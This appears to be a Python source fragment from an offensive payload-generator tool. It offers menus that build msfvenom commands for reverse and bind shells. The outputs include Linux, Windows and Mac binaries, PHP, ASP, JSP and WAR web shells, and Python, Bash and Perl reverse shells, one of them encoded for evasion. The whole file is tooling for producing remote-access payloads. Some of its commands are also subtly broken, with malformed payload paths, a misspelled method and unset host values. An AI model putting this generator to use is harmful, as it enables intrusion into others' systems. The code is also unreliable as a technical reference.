def os_binaries_payloads(self):
try:
pgen_header()
print('OS:')
print('\n\t1): Linux')
print('\t2): Windows')
print('\t3): Mac')
print('\n\tZ): Back')
print('\tX): Exit\n')
while True:
binaries_payloads_os_select = input(os_prefix).lower()
if binaries_payloads_os_select == '1':
self.linux_binaries_payloads()
elif binaries_payloads_os_select == '2':
self.windows_binaries_payloads()
elif binaries_payloads_os_select == '3':
self.mac_binaries_payloads()
elif binaries_payloads_os_select == 'z':
Exploitation()
elif binaries_payloads_os_select == 'x':
Exit()
else:
print(invalid_input_prefix)
continue
except KeyboardInterrupt:
Exit()
def result(self):
try:
pgen_header()
print('Output:')
print('\n\tPAYLOAD: ' + GREEN + self.payload + WHITE)
if len(self.lhost_set) >= 1:
print('\tLHOST: ' + GREEN + self.lhost_set + WHITE)
elif len(self.rhost_set) >= 1:
print('\tRHOST: ' + GREEN + self.rhost_set + WHITE)
else:
pass
if len(self.lport_set) >= 1:
print('\tLPORT: ' + GREEN + self.lport_set + WHITE)
else:
pass
print('\n\tOUTPUT: ' + GREEN + self.output_set + '/' +
self.name_set + WHITE)
print('\n\tY): New')
print('\tZ): Menu')
print('\tX): Exit\n')
while True:
self.cmd = input(eagleshell_prefix).lower()
if self.cmd == 'y':
PGen()
elif self.cmd == 'z':
Exploitation()
elif self.cmd == 'x':
Exit()
else:
print(invalid_input_prefix)
continue
except KeyboardInterrupt:
Exit()
def payloads(self):
try:
pgen_header()
print('Payloads:')
print('\n\t1): Binaries Payloads')
print('\t2): Web Payloads')
print('\t3): Scripting Payloads')
print('\n\tZ): Back')
print('\tX): Exit\n')
while True:
linux_shells_select = input(shell_prefix).lower()
if linux_shells_select == '1':
self.os_binaries_payloads()
elif linux_shells_select == '2':
self.web_payloads()
elif linux_shells_select == '3':
self.scripting_payloads()
elif linux_shells_select == 'z':
Exploitation()
elif linux_shells_select == 'x':
Exit()
else:
print(invalid_input_prefix)
continue
except KeyboardInterrupt:
Exit()
def mac_binaries_payloads(self):
try:
pgen_header()
print('Payloads:')
print('\n\tBinaries Payloads')
print('\t----------------------------')
print('\t1): Mac Reverse Shell')
print('\t2): Mac Bind Shell')
print('\n\tZ): Back')
print('\tX): Exit\n')
while True:
mac_payloads_binaries_select = input(payload_prefix).lower()
if mac_payloads_binaries_select == '1':
self.lhost_set = input(lhost_prefix).lower()
self.lport_set = input(lport_prefix).lower()
self.payload = 'Mac Reverse Shell'
self.cmd = 'msfvenom -p osx/x86/shell_reverse_tcp LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f macho -o ' + self.output_set + '/' + self.name_set + '.macho'
self.generatate()
elif mac_payloads_binaries_select == '2':
self.lhost_set = input(lhost_prefix).lower()
self.lport_set = input(lport_prefix).lower()
self.payload = 'Mac Bind Shell'
self.cmd = 'msfvenom -p osx/x86/shell_bind_tcp RHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f macho -o ' + self.output_set + '/' + self.name_set + '.macho'
self.generatate()
elif mac_payloads_binaries_select == 'z':
Exploitation()
elif mac_payloads_binaries_select == 'x':
Exit()
else:
print(invalid_input_prefix)
continue
except KeyboardInterrupt:
Exit()
def web_payloads(self):
try:
pgen_header()
print('Payloads:')
print('\n\tWeb Payloads')
print('\t----------------------------')
print('\t1): PHP Meterpreter Reverse TCP')
print('\t2): ASP Meterpreter Reverse TCP')
print('\t3): JSP Java Meterpreter Reverse TCP')
print('\t4): WAR')
print('\n\tZ): Back')
print('\tX): Exit\n')
while True:
web_payloads_select = input(payload_prefix).lower()
if web_payloads_select == '1':
self.lhost_set = input(lhost_prefix).lower()
self.lport_set = input(lport_prefix).lower()
self.payload = 'PHP Meterpreter Reverse TCP'
self.cmd = 'msfvenom -p php/meterpreter_reverse_tcp LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f raw -o ' + self.output_set + '/' + self.name_set + '.php'
self.generatate()
elif web_payloads_select == '2':
self.lhost_set = input(lhost_prefix).lower()
self.lport_set = input(lport_prefix).lower()
self.payload = 'ASP Meterpreter Reverse TCP'
self.cmd = 'msfvenom -p windows/meterpreter/reverse_tcp LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f asp -o ' + self.output_set + '/' + self.name_set + '.asp'
self.generatate()
elif web_payloads_select == '3':
self.lhost_set = input(lhost_prefix).lower()
self.lport_set = input(lport_prefix).lower()
self.payload = 'JSP Java Meterpreter Reverse TCP'
self.cmd = 'msfvenom -p java/jsp_shell_reverse_tcp LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f raw -o ' + self.output_set + '/' + self.name_set + '.jsp'
self.generatate()
elif web_payloads_select == '4':
self.lhost_set = input(lhost_prefix).lower()
self.lport_set = input(lport_prefix).lower()
self.payload = 'WAR'
self.cmd = 'msfvenom -p java/jsp_shell_reverse_tcp LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f war -o ' + self.output_set + '/' + self.name_set + '.war'
self.generatate()
elif web_payloads_select == 'z':
Exploitation()
elif web_payloads_select == 'x':
Exit()
else:
print(invalid_input_prefix)
continue
except KeyboardInterrupt:
Exit()
def linux_binaries_payloads(self):
try:
pgen_header()
print('Payloads:')
print('\n\tBinaries Payloads')
print('\t----------------------------')
print('\t1): Linux Meterpreter Reverse Shell')
print('\t2): Linux Bind Meterpreter Shell')
print('\t3): Linux Bind Shell')
print('\n\tZ): Back')
print('\tX): Exit\n')
while True:
linux_payloads_binaries_select = input(payload_prefix).lower()
if linux_payloads_binaries_select == '1':
self.lhost_set = input(lhost_prefix).lower()
self.lport_set = input(lport_prefix).lower()
self.payload = 'Linux Meterpreter Reverse Shell'
self.cmd = 'msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f elf -o ' + self.output_set + '/' + self.name_set + '.elf'
self.generatate()
elif linux_payloads_binaries_select == '2':
self.rhost_set = input(rhost_prefix).lower()
self.lport_set = input(lport_prefix).lower()
self.payload = 'Linux Bind Meterpreter Shell'
self.cmd = 'msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=' + self.rhost_set + ' LPORT=' + self.lport_set + ' -f elf -o ' + self.output_set + '/' + self.name_set + '.elf'
self.generatate()
elif linux_payloads_binaries_select == '3':
self.rhost_set = input(rhost_prefix).lower()
self.lport_set = input(lport_prefix).lower()
self.payload = 'Linux Bind Shell'
self.cmd = 'msfvenom -p generic/shell_bind_tcp RHOST=' + self.rhost_set + ' LPORT=' + self.lport_set + ' -f elf -o ' + self.output_set + '/' + self.name_set + '.elf'
self.generatate()
elif linux_payloads_binaries_select == 'z':
Exploitation()
elif linux_payloads_binaries_select == 'x':
Exit()
else:
print(invalid_input_prefix)
continue
except KeyboardInterrupt:
Exit()
def windows_binaries_payloads(self):
try:
pgen_header()
print('Payloads:')
print('\n\tBinaries Payloads')
print('\t----------------------------')
print('\t1): Windows Meterpreter Reverse TCP Shell')
print('\t2): Windows Reverse TCP Shell')
print('\t3): Windows Encoded Meterpreter Windows Reverse Shell')
print('\n\tZ): Back')
print('\tX): Exit\n')
while True:
windows_payloads_binaries_select = input(
payload_prefix).lower()
if windows_payloads_binaries_select == '1':
self.lhost_set = input(lhost_prefix).lower()
self.lport_set = input(lport_prefix).lower()
self.payload = 'Windows Meterpreter Reverse TCP Shell'
self.cmd = 'msfvenom -p windows/meterpreter/reverse_tcp LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f exe -o ' + self.output_set + '/' + self.name_set + '.exe'
self.generatate()
elif windows_payloads_binaries_select == '2':
self.lhost_set = input(lhost_prefix).lower()
self.lport_set = input(lport_prefix).lower()
self.payload = 'Windows Reverse TCP Shell'
self.cmd = 'msfvenom -p windows/shell/reverse_tcp LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f exe -o ' + self.output_set + '/' + self.name_set + '.exe'
self.generatate()
elif windows_payloads_binaries_select == '3':
self.payload = 'Windows Encoded Meterpreter Windows Reverse Shell'
self.cmd = 'msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe -o ' + self.output_set + '/' + self.name_set + '.exe'
self.generatate()
elif windows_payloads_binaries_select == 'z':
Exploitation()
elif windows_payloads_binaries_select == 'x':
Exit()
else:
print(invalid_input_prefix)
continue
except KeyboardInterrupt:
Exit()
def scripting_payloads(self):
try:
pgen_header()
print('Payloads:')
print('\n\tScripting Payloads')
print('\t----------------------------')
print('\t1): Python Reverse Shell')
print('\t2): Bash Unix Reverse Shell')
print('\t3): Perl Unix Reverse shell')
print('\n\tZ): Back')
print('\tX): Exit\n')
while True:
scripting_payloads_select = input(payload_prefix).lower()
if scripting_payloads_select == '1':
self.lhost_set = input(lhost_prefix).lower()
self.lport_set = input(lport_prefix).lower()
self.payload = 'Python Reverse Shell'
self.cmd = 'msfvenom -p self.cmd/unix/reverse_python LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f raw -o ' + self.output_set + '/' + self.name_set + '.py'
self.generatate()
elif scripting_payloads_select == '2':
self.lhost_set = input(lhost_prefix).lower()
self.lport_set = input(lport_prefix).lower()
self.payload = 'Bash Unix Reverse Shell'
self.cmd = 'msfvenom -p self.cmd/unix/reverse_bash LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f raw -o ' + self.output_set + '/' + self.name_set + '.sh'
self.generatate()
elif scripting_payloads_select == '3':
self.payload = 'Perl Unix Reverse shell'
self.cmd = 'msfvenom -p self.cmd/unix/reverse_perl LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f raw -o ' + self.output_set + '/' + self.name_set + '.pl'
self.generatate()
elif scripting_payloads_select == 'z':
Exploitation()
elif scripting_payloads_select == 'x':
Exit()
else:
print(invalid_input_prefix)
continue
except KeyboardInterrupt:
Exit()
def name_output(self):
try:
pgen_header()
print('Name and Output:')
print('\n\t Paste Your Name and Output Folder')
print('\n\t Example Name: MyShell')
print('\t Example Output: /tmp/shells/')
print('\n\tZ): Back')
print('\tX): Exit\n')
while True:
self.name_set = input(name_prefix)
if self.name_set == 'z' or self.name_set == 'Z':
Exploitation()
elif self.name_set == 'x' or self.name_set == 'X':
Exit()
self.output_set = input(output_prefix)
if self.output_set == 'z' or self.output_set == 'Z':
Exploitation()
elif self.output_set == 'x' or self.output_set == 'X':
Exit()
self.payloads()
except KeyboardInterrupt:
Exit()